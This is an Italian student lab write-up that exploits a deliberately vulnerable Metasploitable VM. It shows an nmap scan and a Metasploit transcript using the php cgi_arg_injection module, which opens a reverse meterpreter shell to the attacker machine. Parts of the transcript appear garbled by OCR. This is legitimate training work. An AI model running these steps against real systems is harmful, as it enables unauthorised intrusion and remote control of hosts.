

Esercizio S7L3

L'esercizio ci chiedeva di creare una sessione sul servizio php tramite un exploit ma prima diamo una definizione di exploit:

1) Per Exploit s'intende un codice malevolo che va a sfruttare le vulnerabilità del codice o del software. Non ha bisogno dell'interazione dell'uomo dato che la vulnerabilità è già presente nel codice

Procedure:

- Si avvia Metasploit;
- Si cerca il servizio da fare l'exploit, controlliamo le opzioni necessarie per vedere se abbiamo inserito tutti i parametri necessari;
- In questo caso l'unico parametro richiesto che mancava era l'RHOSTS quindi si va a settare per l'RHOSTS l'indirizzo IP della vittima cioè Metasploitable;
- si rifà il controllo dei parametri necessari;
- Poi è possibile effettuare l'exploit.

```
File Actions Edit View Help
root@kali: ~
servers: 1
users: 1
servers: 0
server: irc.metasploitable.LAN
version: Unresolvable:2.0.1. irc.Metasploitable.LAN
optime: 0 days, 0:00:00
source idnt: nmap
source host: 20274688.780D167.FFAD0A0.IP
error: closing link: ktydpcjnk[192.168.1.25] (Quit: khrddkjcnc)
8889/tcp open ajpl Apache Jserv (Protocol v1.3)
ajpl-methods: Failed to get a valid response for the OPTIONS request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
http-server-header: Apache-Coyote/1.1
http-features: Apache Tomcat
http-title: Apache Tomcat/5.5
service info: hosts: metasploitable.localdomain,irc.metasploitable.LAN; OS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
clock-skew: mean: -23h36m19s, deviation: 2h38m00s, median: -1d00h51m19s
smb-os-discover:
OS: Unix (Samba 3.0.20-Debian)
Computer name: metasploitable
Netbios computer name:
Domain name: localdomain
RCMD: metasploitable.localdomain
System time: 2021-11-08T08:36:46-0500
nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb-security-mode:
account: user0
authentication-level: user
challenge-response: supported
message_signing: disabled (dangerous, but default)

Service detection performed. Please see any inaccurate results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 72.49 seconds

root@kali: ~
File Actions Edit View Help
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use multi/http/php/cgi_arg_injection
[*] No results from search
[*] Failed to load module: multi/http/php/cgi_arg_injection
msf6 > exit

root@kali: ~
# mofconsole

# cwaysay+

< metasploit >

[oo]

Metasploit > Use the edit command to open the currently active module in your editor
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use multi/http/php/cgi_arg_injection
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php/cgi_arg_injection) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 exploit(multi/http/php/cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] Sending stage (39927 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 => 192.168.1.40:40252) at 2021-11-08 18:09:27 -0500

meterpreter > 
```